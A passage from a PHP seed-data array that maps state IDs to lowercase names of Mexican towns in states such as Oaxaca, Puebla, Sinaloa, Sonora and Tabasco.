'name' => 'aztatan'],\n ['state_id' => '2445', 'name' => 'bucerias'],\n ['state_id' => '2445', 'name' => 'carmen'],\n ['state_id' => '2445', 'name' => 'cerralvo'],\n ['state_id' => '2445', 'name' => 'compostela'],\n ['state_id' => '2445', 'name' => 'hidalgo'],\n ['state_id' => '2445', 'name' => 'ixcuintla'],\n ['state_id' => '2445', 'name' => 'ixtlan del rio'],\n ['state_id' => '2445', 'name' => 'jala'],\n ['state_id' => '2445', 'name' => 'jalcocotan'],\n ['state_id' => '2445', 'name' => 'la penita de jaltemba'],\n ['state_id' => '2445', 'name' => 'la presa'],\n ['state_id' => '2445', 'name' => 'lagunillas'],\n ['state_id' => '2445', 'name' => 'las jarretaderas'],\n ['state_id' => '2445', 'name' => 'las varas'],\n ['state_id' => '2445', 'name' => 'puga'],\n ['state_id' => '2445', 'name' => 'rosamorada'],\n ['state_id' => '2445', 'name' => 'ruiz'],\n ['state_id' => '2445', 'name' => 'san blas'],\n ['state_id' => '2445', 'name' => 'san jose del valle'],\n ['state_id' => '2445', 'name' => 'san juan de abajo'],\n ['state_id' => '2445', 'name' => 'san vicente'],\n ['state_id' => '2445', 'name' => 'santa maria del oro'],\n ['state_id' => '2445', 'name' => 'tecuala'],\n ['state_id' => '2445', 'name' => 'tepic'],\n ['state_id' => '2445', 'name' => 'tuxpan'],\n ['state_id' => '2445', 'name' => 'valle de banderas'],\n ['state_id' => '2445', 'name' => 'xalisco'],\n ['state_id' => '2445', 'name' => 'yago'],\n ['state_id' => '2445', 'name' => 'zacualpan'],\n ['state_id' => '2447', 'name' => 'acatlan'],\n ['state_id' => '2447', 'name' => 'amatlan'],\n ['state_id' => '2447', 'name' => 'amilpas'],\n ['state_id' => '2447', 'name' => 'amuzgos'],\n ['state_id' => '2447', 'name' => 'asuncion ixtaltepec'],\n ['state_id' => '2447', 'name' => 'asuncion nochixtlan'],\n ['state_id' => '2447', 'name' => 'asuncion ocotlan'],\n ['state_id' => '2447', 'name' => 'atempa'],\n ['state_id' => '2447', 'name' => 'atzompa'],\n ['state_id' => '2447', 'name' => 'ayautla'],\n ['state_id' => '2447', 'name' => 'ayoquezco'],\n ['state_id' => '2447', 'name' => 'ayotzintepec'],\n ['state_id' => '2447', 'name' => 'bajos de chila'],\n ['state_id' => '2447', 'name' => 'brisas de zicatela'],\n ['state_id' => '2447', 'name' => 'cacahuatepec'],\n ['state_id' => '2447', 'name' => 'cacaotepec'],\n ['state_id' => '2447', 'name' => 'chahuites'],\n ['state_id' => '2447', 'name' => 'chichicapam'],\n ['state_id' => '2447', 'name' => 'chiltepec'],\n ['state_id' => '2447', 'name' => 'cienaga de zimatlan'],\n ['state_id' => '2447', 'name' => 'coatlan'],\n ['state_id' => '2447', 'name' => 'comitancillo'],\n ['state_id' => '2447', 'name' => 'cosolapa'],\n ['state_id' => '2447', 'name' => 'coyotepec'],\n ['state_id' => '2447', 'name' => 'crucecita'],\n ['state_id' => '2447', 'name' => 'cuicatlan'],\n ['state_id' => '2447', 'name' => 'cuilapam'],\n ['state_id' => '2447', 'name' => 'ejutla de crespo'],\n ['state_id' => '2447', 'name' => 'el espinal'],\n ['state_id' => '2447', 'name' => 'etla'],\n ['state_id' => '2447', 'name' => 'fraccionamiento el rosario'],\n ['state_id' => '2447', 'name' => 'guelavia'],\n ['state_id' => '2447', 'name' => 'guichicovi'],\n ['state_id' => '2447', 'name' => 'huajuapan'],\n ['state_id' => '2447', 'name' => 'huatulco'],\n ['state_id' => '2447', 'name' => 'huautla'],\n ['state_id' => '2447', 'name' => 'huaxpaltepec'],\n ['state_id' => '2447', 'name' => 'huayapam'],\n ['state_id' => '2447', 'name' => 'huazolotitlan'],\n ['state_id' => '2447', 'name' => 'huitzo'],\n ['state_id' => '2447', 'name' => 'huixtepec'],\n ['state_id' => '2447', 'name' => 'ingenio'],\n ['state_id' => '2447', 'name' => 'ixcatlan'],\n ['state_id' => '2447', 'name' => 'ixhuatan'],\n ['state_id' => '2447', 'name' => 'ixtepec'],\n ['state_id' => '2447', 'name' => 'jalapa'],\n ['state_id' => '2447', 'name' => 'jamiltepec'],\n ['state_id' => '2447', 'name' => 'jicayan'],\n ['state_id' => '2447', 'name' => 'juchitan'],\n ['state_id' => '2447', 'name' => 'juquila'],\n ['state_id' => '2447', 'name' => 'juxtlahuaca'],\n ['state_id' => '2447', 'name' => 'loma bonita'],\n ['state_id' => '2447', 'name' => 'magdalena teitipac'],\n ['state_id' => '2447', 'name' => 'magdalena tequisistlan'],\n ['state_id' => '2447', 'name' => 'matatlan'],\n ['state_id' => '2447', 'name' => 'matias romero'],\n ['state_id' => '2447', 'name' => 'mechoacan'],\n ['state_id' => '2447', 'name' => 'miahuatlan'],\n ['state_id' => '2447', 'name' => 'mitla'],\n ['state_id' => '2447', 'name' => 'mixtepec'],\n ['state_id' => '2447', 'name' => 'mixtequilla'],\n ['state_id' => '2447', 'name' => 'nazareno etla'],\n ['state_id' => '2447', 'name' => 'niltepec'],\n ['state_id' => '2447', 'name' => 'oaxaca'],\n ['state_id' => '2447', 'name' => 'ocotepec'],\n ['state_id' => '2447', 'name' => 'ocotlan'],\n ['state_id' => '2447', 'name' => 'ojitlan'],\n ['state_id' => '2447', 'name' => 'palomares'],\n ['state_id' => '2447', 'name' => 'panixtlahuaca'],\n ['state_id' => '2447', 'name' => 'petapa'],\n ['state_id' => '2447', 'name' => 'pinotepa nacional'],\n ['state_id' => '2447', 'name' => 'pinotepa de don luis'],\n ['state_id' => '2447', 'name' => 'pochutla'],\n ['state_id' => '2447', 'name' => 'puerto escondido'],\n ['state_id' => '2447', 'name' => 'putla'],\n ['state_id' => '2447', 'name' => 'quetzaltepec'],\n ['state_id' => '2447', 'name' => 'rincon viejo'],\n ['state_id' => '2447', 'name' => 'rio grande'],\n ['state_id' => '2447', 'name' => 'salina cruz'],\n ['state_id' => '2447', 'name' => 'san agustin de las juntas'],\n ['state_id' => '2447', 'name' => 'san antonio castillo velasco'],\n ['state_id' => '2447', 'name' => 'san antonio de la cal'],\n ['state_id' => '2447', 'name' => 'san dionisio del mar'],\n ['state_id' => '2447', 'name' => 'san francisco del mar'],\n ['state_id' => '2447', 'name' => 'san jose del progreso'],\n ['state_id' => '2447', 'name' => 'san juan colorado'],\n ['state_id' => '2447', 'name' => 'san mateo del mar'],\n ['state_id' => '2447', 'name' => 'santa lucia del camino'],\n ['state_id' => '2447', 'name' => 'santa maria del tule'],\n ['state_id' => '2447', 'name' => 'santiago apostol'],\n ['state_id' => '2447', 'name' => 'santos reyes nopala'],\n ['state_id' => '2447', 'name' => 'soyaltepec'],\n ['state_id' => '2447', 'name' => 'suchilquitongo'],\n ['state_id' => '2447', 'name' => 'tamazulapam'],\n ['state_id' => '2447', 'name' => 'tapanatepec'],\n ['state_id' => '2447', 'name' => 'tehuantepec'],\n ['state_id' => '2447', 'name' => 'teitipac'],\n ['state_id' => '2447', 'name' => 'telixtlahuaca'],\n ['state_id' => '2447', 'name' => 'teotitlan'],\n ['state_id' => '2447', 'name' => 'teotitlan den valle'],\n ['state_id' => '2447', 'name' => 'tilquiapam'],\n ['state_id' => '2447', 'name' => 'tlacolula'],\n ['state_id' => '2447', 'name' => 'tlalixtac'],\n ['state_id' => '2447', 'name' => 'tlaxiaco'],\n ['state_id' => '2447', 'name' => 'tutla'],\n ['state_id' => '2447', 'name' => 'tuxtepec'],\n ['state_id' => '2447', 'name' => 'union hidalgo'],\n ['state_id' => '2447', 'name' => 'usila'],\n ['state_id' => '2447', 'name' => 'valle nacional'],\n ['state_id' => '2447', 'name' => 'vicente camalote'],\n ['state_id' => '2447', 'name' => 'vicente guerrero'],\n ['state_id' => '2447', 'name' => 'xadani'],\n ['state_id' => '2447', 'name' => 'xitla'],\n ['state_id' => '2447', 'name' => 'xoxocotlan'],\n ['state_id' => '2447', 'name' => 'yaitepec'],\n ['state_id' => '2447', 'name' => 'yatareni'],\n ['state_id' => '2447', 'name' => 'zaachila'],\n ['state_id' => '2447', 'name' => 'zacatepec'],\n ['state_id' => '2447', 'name' => 'zanatepec'],\n ['state_id' => '2447', 'name' => 'zimatlan'],\n ['state_id' => '2448', 'name' => 'acajete'],\n ['state_id' => '2448', 'name' => 'acateno'],\n ['state_id' => '2448', 'name' => 'acatlan'],\n ['state_id' => '2448', 'name' => 'acatzingo'],\n ['state_id' => '2448', 'name' => 'actipan'],\n ['state_id' => '2448', 'name' => 'acuexcomac'],\n ['state_id' => '2448', 'name' => 'ahuatempan'],\n ['state_id' => '2448', 'name' => 'ajalpan'],\n ['state_id' => '2448', 'name' => 'aljojuca'],\n ['state_id' => '2448', 'name' => 'almecatla'],\n ['state_id' => '2448', 'name' => 'alseseca'],\n ['state_id' => '2448', 'name' => 'altepexi'],\n ['state_id' => '2448', 'name' => 'amecac'],\n ['state_id' => '2448', 'name' => 'amozoc'],\n ['state_id' => '2448', 'name' => 'aparicio'],\n ['state_id' => '2448', 'name' => 'atempan'],\n ['state_id' => '2448', 'name' => 'atencingo'],\n ['state_id' => '2448', 'name' => 'atlixco'],\n ['state_id' => '2448', 'name' => 'atoyatempan'],\n ['state_id' => '2448', 'name' => 'atzitzintla'],\n ['state_id' => '2448', 'name' => 'atzompa'],\n ['state_id' => '2448', 'name' => 'ayutla'],\n ['state_id' => '2448', 'name' => 'azumiatla'],\n ['state_id' => '2448', 'name' => 'benito juarez'],\n ['state_id' => '2448', 'name' => 'buenos aires'],\n ['state_id' => '2448', 'name' => 'cacaloxuchitl'],\n ['state_id' => '2448', 'name' => 'calipan'],\n ['state_id' => '2448', 'name' => 'calmeca'],\n ['state_id' => '2448', 'name' => 'calpan'],\n ['state_id' => '2448', 'name' => 'caltenco'],\n ['state_id' => '2448', 'name' => 'canada'],\n ['state_id' => '2448', 'name' => 'canoa'],\n ['state_id' => '2448', 'name' => 'caxhuacan'],\n ['state_id' => '2448', 'name' => 'chalchihuapan'],\n ['state_id' => '2448', 'name' => 'chapulco'],\n ['state_id' => '2448', 'name' => 'chautla'],\n ['state_id' => '2448', 'name' => 'chiapa'],\n ['state_id' => '2448', 'name' => 'chiautla'],\n ['state_id' => '2448', 'name' => 'chiautzingo'],\n ['state_id' => '2448', 'name' => 'chiconquiac'],\n ['state_id' => '2448', 'name' => 'chietla'],\n ['state_id' => '2448', 'name' => 'chignahuapan'],\n ['state_id' => '2448', 'name' => 'chignautla'],\n ['state_id' => '2448', 'name' => 'chilac'],\n ['state_id' => '2448', 'name' => 'chilchotla'],\n ['state_id' => '2448', 'name' => 'cholula'],\n ['state_id' => '2448', 'name' => 'citlaltepetl'],\n ['state_id' => '2448', 'name' => 'coatepec'],\n ['state_id' => '2448', 'name' => 'coronango'],\n ['state_id' => '2448', 'name' => 'coxcatlan'],\n ['state_id' => '2448', 'name' => 'coyula'],\n ['state_id' => '2448', 'name' => 'cuacnopalan'],\n ['state_id' => '2448', 'name' => 'cuanala'],\n ['state_id' => '2448', 'name' => 'cuapiaxtla'],\n ['state_id' => '2448', 'name' => 'cuautlancingo'],\n ['state_id' => '2448', 'name' => 'cuayucatepec'],\n ['state_id' => '2448', 'name' => 'cuetzalan'],\n ['state_id' => '2448', 'name' => 'domingo arenas'],\n ['state_id' => '2448', 'name' => 'escape'],\n ['state_id' => '2448', 'name' => 'esperanza'],\n ['state_id' => '2448', 'name' => 'guadalupe victoria'],\n ['state_id' => '2448', 'name' => 'huaquechula'],\n ['state_id' => '2448', 'name' => 'huauchinango'],\n ['state_id' => '2448', 'name' => 'huehuetlan'],\n ['state_id' => '2448', 'name' => 'huejotzingo'],\n ['state_id' => '2448', 'name' => 'hueyapan'],\n ['state_id' => '2448', 'name' => 'hueyotlipan'],\n ['state_id' => '2448', 'name' => 'hueytamalco'],\n ['state_id' => '2448', 'name' => 'huixcolotla'],\n ['state_id' => '2448', 'name' => 'ixcaquixtla'],\n ['state_id' => '2448', 'name' => 'ixtiyucan'],\n ['state_id' => '2448', 'name' => 'izucar'],\n ['state_id' => '2448', 'name' => 'jolalpan'],\n ['state_id' => '2448', 'name' => 'la ceiba'],\n ['state_id' => '2448', 'name' => 'la galarza'],\n ['state_id' => '2448', 'name' => 'la resureccion'],\n ['state_id' => '2448', 'name' => 'lazaro cardenas'],\n ['state_id' => '2448', 'name' => 'libres'],\n ['state_id' => '2448', 'name' => 'los ranchos'],\n ['state_id' => '2448', 'name' => 'los reyes de juarez'],\n ['state_id' => '2448', 'name' => 'malacatepec'],\n ['state_id' => '2448', 'name' => 'metlaltoyuca'],\n ['state_id' => '2448', 'name' => 'miahuatlan'],\n ['state_id' => '2448', 'name' => 'mihuacan'],\n ['state_id' => '2448', 'name' => 'momoxpan'],\n ['state_id' => '2448', 'name' => 'moyotzingo'],\n ['state_id' => '2448', 'name' => 'nealtican'],\n ['state_id' => '2448', 'name' => 'necaxa'],\n ['state_id' => '2448', 'name' => 'nopalucan'],\n ['state_id' => '2448', 'name' => 'ocotitlan'],\n ['state_id' => '2448', 'name' => 'ocotlan'],\n ['state_id' => '2448', 'name' => 'ocoyucan'],\n ['state_id' => '2448', 'name' => 'oriental'],\n ['state_id' => '2448', 'name' => 'pahuatlan'],\n ['state_id' => '2448', 'name' => 'palmar de bravo'],\n ['state_id' => '2448', 'name' => 'puebla'],\n ['state_id' => '2448', 'name' => 'quecholac'],\n ['state_id' => '2448', 'name' => 'raboso'],\n ['state_id' => '2448', 'name' => 'rafael lara grajales'],\n ['state_id' => '2448', 'name' => 'san gabriel casa blanca'],\n ['state_id' => '2448', 'name' => 'san lucas el grande'],\n ['state_id' => '2448', 'name' => 'san salvador el seco'],\n ['state_id' => '2448', 'name' => 'san sebastian villanueva'],\n ['state_id' => '2448', 'name' => 'sanctorum'],\n ['state_id' => '2448', 'name' => 'santa maria la alta'],\n ['state_id' => '2448', 'name' => 'serdan'],\n ['state_id' => '2448', 'name' => 'soltepec'],\n ['state_id' => '2448', 'name' => 'tatoxcac'],\n ['state_id' => '2448', 'name' => 'tecali'],\n ['state_id' => '2448', 'name' => 'tecamachalco'],\n ['state_id' => '2448', 'name' => 'tehuacan'],\n ['state_id' => '2448', 'name' => 'tehuitzingo'],\n ['state_id' => '2448', 'name' => 'tenango'],\n ['state_id' => '2448', 'name' => 'tenango de las flores'],\n ['state_id' => '2448', 'name' => 'tenextatiloyan'],\n ['state_id' => '2448', 'name' => 'teontepec'],\n ['state_id' => '2448', 'name' => 'teopantlan'],\n ['state_id' => '2448', 'name' => 'teotlalcingo'],\n ['state_id' => '2448', 'name' => 'tepango'],\n ['state_id' => '2448', 'name' => 'tepatlaxco'],\n ['state_id' => '2448', 'name' => 'tepeaca'],\n ['state_id' => '2448', 'name' => 'tepeojuma'],\n ['state_id' => '2448', 'name' => 'tepexi'],\n ['state_id' => '2448', 'name' => 'tepulco'],\n ['state_id' => '2448', 'name' => 'tetela morelos'],\n ['state_id' => '2448', 'name' => 'tetela de ocampo'],\n ['state_id' => '2448', 'name' => 'teteles'],\n ['state_id' => '2448', 'name' => 'tetzoyocan'],\n ['state_id' => '2448', 'name' => 'texmelucan'],\n ['state_id' => '2448', 'name' => 'teziutlan'],\n ['state_id' => '2448', 'name' => 'tianguismanalco'],\n ['state_id' => '2448', 'name' => 'tlachichuca'],\n ['state_id' => '2448', 'name' => 'tlacotepec'],\n ['state_id' => '2448', 'name' => 'tlacoyalco'],\n ['state_id' => '2448', 'name' => 'tlahuapan'],\n ['state_id' => '2448', 'name' => 'tlaixpan'],\n ['state_id' => '2448', 'name' => 'tlalancaleca'],\n ['state_id' => '2448', 'name' => 'tlaltenango'],\n ['state_id' => '2448', 'name' => 'tlanalapan'],\n ['state_id' => '2448', 'name' => 'tlancualpican'],\n ['state_id' => '2448', 'name' => 'tlanepantla'],\n ['state_id' => '2448', 'name' => 'tlapanala'],\n ['state_id' => '2448', 'name' => 'tlatlauquitepec'],\n ['state_id' => '2448', 'name' => 'tlaxcalancingo'],\n ['state_id' => '2448', 'name' => 'tlaxco'],\n ['state_id' => '2448', 'name' => 'tochapan'],\n ['state_id' => '2448', 'name' => 'tochimilco'],\n ['state_id' => '2448', 'name' => 'tochtepec'],\n ['state_id' => '2448', 'name' => 'tulcingo'],\n ['state_id' => '2448', 'name' => 'tuxco'],\n ['state_id' => '2448', 'name' => 'venustiano carranza'],\n ['state_id' => '2448', 'name' => 'xalmimilulco'],\n ['state_id' => '2448', 'name' => 'xaltepec'],\n ['state_id' => '2448', 'name' => 'xicotepec'],\n ['state_id' => '2448', 'name' => 'xiutetelco'],\n ['state_id' => '2448', 'name' => 'xochiltenango'],\n ['state_id' => '2448', 'name' => 'xochitlan'],\n ['state_id' => '2448', 'name' => 'xonatepec'],\n ['state_id' => '2448', 'name' => 'xoxtla'],\n ['state_id' => '2448', 'name' => 'yaonahuac'],\n ['state_id' => '2448', 'name' => 'yehualtepec'],\n ['state_id' => '2448', 'name' => 'zacapechpan'],\n ['state_id' => '2448', 'name' => 'zacapoaxtla'],\n ['state_id' => '2448', 'name' => 'zacatepec'],\n ['state_id' => '2448', 'name' => 'zacatlan'],\n ['state_id' => '2448', 'name' => 'zaragoza'],\n ['state_id' => '2448', 'name' => 'zinacatepec'],\n ['state_id' => '2448', 'name' => 'zongozotla'],\n ['state_id' => '2448', 'name' => 'zozutla'],\n ['state_id' => '2449', 'name' => 'ajuchitlan'],\n ['state_id' => '2449', 'name' => 'amazcala'],\n ['state_id' => '2449', 'name' => 'amealco'],\n ['state_id' => '2449', 'name' => 'cadereyta'],\n ['state_id' => '2449', 'name' => 'candiles'],\n ['state_id' => '2449', 'name' => 'colon'],\n ['state_id' => '2449', 'name' => 'el colorado'],\n ['state_id' => '2449', 'name' => 'el pueblito'],\n ['state_id' => '2449', 'name' => 'el sauz'],\n ['state_id' => '2449', 'name' => 'ezequiel montes'],\n ['state_id' => '2449', 'name' => 'huimilpan'],\n ['state_id' => '2449', 'name' => 'jalpan'],\n ['state_id' => '2449', 'name' => 'jauregui'],\n ['state_id' => '2449', 'name' => 'la canada'],\n ['state_id' => '2449', 'name' => 'la estancia'],\n ['state_id' => '2449', 'name' => 'la lira'],\n ['state_id' => '2449', 'name' => 'la llave'],\n ['state_id' => '2449', 'name' => 'paso de mata'],\n ['state_id' => '2449', 'name' => 'pedro escobedo'],\n ['state_id' => '2449', 'name' => 'queretaro'],\n ['state_id' => '2449', 'name' => 'san jose de los olvera'],\n ['state_id' => '2449', 'name' => 'san jose el alto'],\n ['state_id' => '2449', 'name' => 'san juan del rio'],\n ['state_id' => '2449', 'name' => 'san nicolas'],\n ['state_id' => '2449', 'name' => 'san pedro martir'],\n ['state_id' => '2449', 'name' => 'santa maria magdalena'],\n ['state_id' => '2449', 'name' => 'tequisquiapan'],\n ['state_id' => '2449', 'name' => 'tlacote el bajo'],\n ['state_id' => '2452', 'name' => 'adolfo ruiz cortines'],\n ['state_id' => '2452', 'name' => 'agua verde'],\n ['state_id' => '2452', 'name' => 'ahome'],\n ['state_id' => '2452', 'name' => 'angostura'],\n ['state_id' => '2452', 'name' => 'badiraguato'],\n ['state_id' => '2452', 'name' => 'bagojo'],\n ['state_id' => '2452', 'name' => 'benito juarez'],\n ['state_id' => '2452', 'name' => 'campo gobierno'],\n ['state_id' => '2452', 'name' => 'choix'],\n ['state_id' => '2452', 'name' => 'compuertas'],\n ['state_id' => '2452', 'name' => 'concordia'],\n ['state_id' => '2452', 'name' => 'constancia'],\n ['state_id' => '2452', 'name' => 'cosala'],\n ['state_id' => '2452', 'name' => 'costa rica'],\n ['state_id' => '2452', 'name' => 'culiacan'],\n ['state_id' => '2452', 'name' => 'culiacancito'],\n ['state_id' => '2452', 'name' => 'el burrion'],\n ['state_id' => '2452', 'name' => 'el carrizo'],\n ['state_id' => '2452', 'name' => 'el diez'],\n ['state_id' => '2452', 'name' => 'el estero'],\n ['state_id' => '2452', 'name' => 'el fuerte'],\n ['state_id' => '2452', 'name' => 'el rosario'],\n ['state_id' => '2452', 'name' => 'el tamarindo'],\n ['state_id' => '2452', 'name' => 'eldorado'],\n ['state_id' => '2452', 'name' => 'escuinapa'],\n ['state_id' => '2452', 'name' => 'estacion naranjo'],\n ['state_id' => '2452', 'name' => 'estancia bamoa'],\n ['state_id' => '2452', 'name' => 'gabriel leyva solano'],\n ['state_id' => '2452', 'name' => 'guamuchil'],\n ['state_id' => '2452', 'name' => 'guasave'],\n ['state_id' => '2452', 'name' => 'higuera'],\n ['state_id' => '2452', 'name' => 'isla del bosque'],\n ['state_id' => '2452', 'name' => 'jahuara segundo'],\n ['state_id' => '2452', 'name' => 'juan jose rios'],\n ['state_id' => '2452', 'name' => 'la cruz'],\n ['state_id' => '2452', 'name' => 'la palma'],\n ['state_id' => '2452', 'name' => 'la reforma'],\n ['state_id' => '2452', 'name' => 'la trinidad'],\n ['state_id' => '2452', 'name' => 'los mochis'],\n ['state_id' => '2452', 'name' => 'mazatlan'],\n ['state_id' => '2452', 'name' => 'mochicahui'],\n ['state_id' => '2452', 'name' => 'mocorito'],\n ['state_id' => '2452', 'name' => 'navolato'],\n ['state_id' => '2452', 'name' => 'pericos'],\n ['state_id' => '2452', 'name' => 'pueblos unidos'],\n ['state_id' => '2452', 'name' => 'quila'],\n ['state_id' => '2452', 'name' => 'san blas'],\n ['state_id' => '2452', 'name' => 'san ignacio'],\n ['state_id' => '2452', 'name' => 'sinaloa'],\n ['state_id' => '2452', 'name' => 'teacapan'],\n ['state_id' => '2452', 'name' => 'topolobampo'],\n ['state_id' => '2452', 'name' => 'villa union'],\n ['state_id' => '2452', 'name' => 'zapotitlan'],\n ['state_id' => '2453', 'name' => 'agua prieta'],\n ['state_id' => '2453', 'name' => 'alamos'],\n ['state_id' => '2453', 'name' => 'altar'],\n ['state_id' => '2453', 'name' => 'bacobampo'],\n ['state_id' => '2453', 'name' => 'bacum'],\n ['state_id' => '2453', 'name' => 'bahia de kino'],\n ['state_id' => '2453', 'name' => 'benjamin hill'],\n ['state_id' => '2453', 'name' => 'caborca'],\n ['state_id' => '2453', 'name' => 'campo sesenta'],\n ['state_id' => '2453', 'name' => 'cananea'],\n ['state_id' => '2453', 'name' => 'carbo'],\n ['state_id' => '2453', 'name' => 'cocorit'],\n ['state_id' => '2453', 'name' => 'cumpas'],\n ['state_id' => '2453', 'name' => 'empalme'],\n ['state_id' => '2453', 'name' => 'esperanza'],\n ['state_id' => '2453', 'name' => 'esqueda'],\n ['state_id' => '2453', 'name' => 'etchojoa'],\n ['state_id' => '2453', 'name' => 'etchoropo'],\n ['state_id' => '2453', 'name' => 'guaymas'],\n ['state_id' => '2453', 'name' => 'hermosillo'],\n ['state_id' => '2453', 'name' => 'huatabampo'],\n ['state_id' => '2453', 'name' => 'imuris'],\n ['state_id' => '2453', 'name' => 'juarez'],\n ['state_id' => '2453', 'name' => 'kino'],\n ['state_id' => '2453', 'name' => 'la doce'],\n ['state_id' => '2453', 'name' => 'la union'],\n ['state_id' => '2453', 'name' => 'moctezuma'],\n ['state_id' => '2453', 'name' => 'naco'],\n ['state_id' => '2453', 'name' => 'nacozari'],\n ['state_id' => '2453', 'name' => 'navajoa'],\n ['state_id' => '2453', 'name' => 'nogales'],\n ['state_id' => '2453', 'name' => 'obregon'],\n ['state_id' => '2453', 'name' => 'pitiquito'],\n ['state_id' => '2453', 'name' => 'potam'],\n ['state_id' => '2453', 'name' => 'providencia'],\n ['state_id' => '2453', 'name' => 'puerto penasco'],\n ['state_id' => '2453', 'name' => 'rio muerto'],\n ['state_id' => '2453', 'name' => 'sahuaripa'],\n ['state_id' => '2453', 'name' => 'san jose de bacum'],\n ['state_id' => '2453', 'name' => 'san luis rio colorado'],\n ['state_id' => '2453', 'name' => 'sanchez'],\n ['state_id' => '2453', 'name' => 'santa ana'],\n ['state_id' => '2453', 'name' => 'sonoita'],\n ['state_id' => '2453', 'name' => 'tobarito'],\n ['state_id' => '2453', 'name' => 'ures'],\n ['state_id' => '2453', 'name' => 'vicam'],\n ['state_id' => '2453', 'name' => 'yaqui'],\n ['state_id' => '2453', 'name' => 'yavaros'],\n ['state_id' => '2454', 'name' => 'aquiles serdan'],\n ['state_id' => '2454', 'name' => 'ayapa'],\n ['state_id' => '2454', 'name' => 'balancan'],\n ['state_id' => '2454', 'name' => 'barra de santa ana'],\n ['state_id' => '2454', 'name' => 'belen'],\n ['state_id' => '2454', 'name' => 'bosque de saloya'],\n ['state_id' => '2454', 'name' => 'buenavista'],\n ['state_id' => '2454', 'name' => 'campo magellanes'],\n ['state_id' => '2454', 'name' => 'cardenas'],\n ['state_id' => '2454', 'name' => 'chichicapa'],\n ['state_id' => '2454', 'name' => 'chontalpa'],\n ['state_id' => '2454', 'name' => 'comalcalco'],\n ['state_id' => '2454', 'name' => 'cunduacan'],\n ['state_id' => '2454', 'name' => 'el triunfo'],\n ['state_id' => '2454', 'name' => 'emiliano zapata'],\n ['state_id' => '2454', 'name' => 'fraccionamiento la selva'],\n ['state_id' => '2454', 'name' => 'frontera'],\n ['state_id' => '2454', 'name' => 'huimanguillo'],\n ['state_id' => '2454', 'name' => 'jalapa'],\n ['state_id' => '2454', 'name' => 'jalpa'],\n ['state_id' => '2454', 'name' => 'jonuta'],\n ['state_id' => '2454', 'name' => 'la curva'],\n ['state_id' => '2454', 'name' => 'la venta'],\n ['state_id' => '2454', 'name' => 'luis gil perez'],\n ['state_id' => '2454', 'name' => 'macultepec'],\n ['state_id' => '2454', 'name' => 'macuspana'],\n ['state_id' => '2454', 'name' => 'magana'],\n ['state_id' => '2454', 'name' => 'miguel hidalgo'],\n ['state_id' => '2454', 'name' => 'nacajuca'],\n ['state_id' => '2454', 'name' => 'ocuiltzapotlan'],\n ['state_id' => '2454', 'name' => 'once de febrero'],\n ['state_id' => '2454', 'name' => 'paraiso'],\n ['state_id' => '2454', 'name' => 'parrilla'],\n ['state_id' => '2454', 'name' => 'pemex'],\n ['state_id' => '2454', 'name' => 'playas del rosario'],\n ['state_id' => '2454', 'name' => 'rio viejo'],\n ['state_id' => '2454', 'name' => 'san carlos'],\n ['state_id' => '2454', 'name' => 'santa rosalia'],\n ['state_id' => '2454', 'name' => 'simon sarlat'],\n ['state_id' => '2454', 'name' => 'tacotalpa'],\n ['state_id' => '2454', 'name' => 'tamulte'],\n ['state_id' => '2454', 'name' => 'teapa'],\n ['state_id' => '2454', 'name' => 'tecolutilla'],\n ['state_id' => '2454', 'name' => 'tenosique'],\n ['state_id' => '2454', 'name' => 'vicente guerrero'],\n ['state_id' => '2454', 'name' => 'villa aldama'],\n ['state_id' => '2454', 'name' => 'villahermosa'],\n ['state_id' => '2455', 'name' => 'abasolo'],\n ['state_id' => '2455', 'name' => 'aldama'],\n ['state_id' => '2455', 'name' => 'altamira'],\n ['state_id' => '2455', 'name' => 'antiguo morelos'],\n ['state_id' => '2455', 'name' => 'camargo'],\n ['state_id' => '2455', 'name' => 'cuauhtemoc'],\n ['state_id' => '2455', 'name' => 'el mante'],\n ['state_id' => '2455', 'name' => 'estacion manuel'],\n ['state_id' => '2455', 'name' => 'gonzalez'],\n ['state_id' => '2455', 'name' => 'graciano sanchez'],\n ['state_id' => '2455', 'name' => 'guerrero'],\n ['state_id' => '2455', 'name' => 'gustavo diaz ordaz'],\n ['state_id' => '2455', 'name' => 'hidalgo'],\n ['state_id' => '2455', 'name' => 'jaumave'],\n ['state_id' => '2455', 'name' => 'llerca'],\n ['state_id' => '2455', 'name' => 'los guerra'],\n ['state_id' => '2455', 'name' => 'madero'],\n ['state_id' => '2455', 'name' => 'matamoros'],\n ['state_id' => '2455', 'name' => 'mier'],\n ['state_id' => '2455', 'name' => 'miguel aleman'],\n ['state_id' => '2455', 'name' => 'miramar'],\n ['state_id' => '2455', 'name' => 'nuevo laredo'],\n ['state_id' => '2455', 'name' => 'nuevo progreso'],\n ['state_id' => '2455', 'name' => 'ocampo'],\n ['state_id' => '2455', 'name' => 'padilla'],\n ['state_id' => '2455', 'name' => 'reynosa'],\n ['state_id' => '2455', 'name' => 'rio bravo'],\n ['state_id' => '2455', 'name' => 'san fernando'],\n ['state_id' => '2455', 'name' => 'santa engracia'],\n ['state_id' => '2455', 'name' => 'santander jimenez'],\n ['state_id' => '2455', 'name' => 'soto la marina'],\n ['state_id' => '2455', 'name' => 'tampico'],\n ['state_id' => '2455', 'name' => 'tula'],\n ['state_id' => '2455', 'name' => 'valle hermoso'],\n ['state_id' => '2455', 'name' => 'victoria'],\n ['state_id' => '2455', 'name' => 'xicotencatl'],\n ['state_id' => '2456', 'name' => 'ahuashuatepec'],\n ['state_id' => '2456', 'name' => 'altzayanca'],\n ['state_id' => '2456', 'name' => 'amaxac'],\n ['state_id' => '2456', 'name' => 'apetatitlan'],\n ['state_id' => '2456', 'name' => 'apizaco'],\n ['state_id' => '2456', 'name' => 'apizaquito'],\n ['state_id' => '2456', 'name' => 'atexcatzingo'],\n ['state_id' => '2456', 'name' => 'axocomanitla'],\n ['state_id' => '2456', 'name' => 'ayometla'],\n ['state_id' => '2456', 'name' => 'benito juarez'],\n ['state_id' => '2456', 'name' => 'buen suceso'],\n ['state_id' => '2456', 'name' => 'calpulalpan'],\n ['state_id' => '2456', 'name' => 'chiautempan'],\n ['state_id' => '2456', 'name' => 'contla'],\n ['state_id' => '2456', 'name' => 'cuapiaxtla'],\n ['state_id' => '2456', 'name' => 'huactzinco'],\n ['state_id' => '2456', 'name' => 'huamantla'],\n ['state_id' => '2456', 'name' => 'hueyotlipan'],\n ['state_id' => '2456', 'name' => 'huiloac'],\n ['state_id' => '2456', 'name' => 'ignacio zaragoza'],\n ['state_id' => '2456', 'name' => 'ixtacuixtla'],\n ['state_id' => '2456', 'name' => 'ixtenco'],\n ['state_id' => '2456', 'name' => 'mazatecochco'],\n ['state_id' => 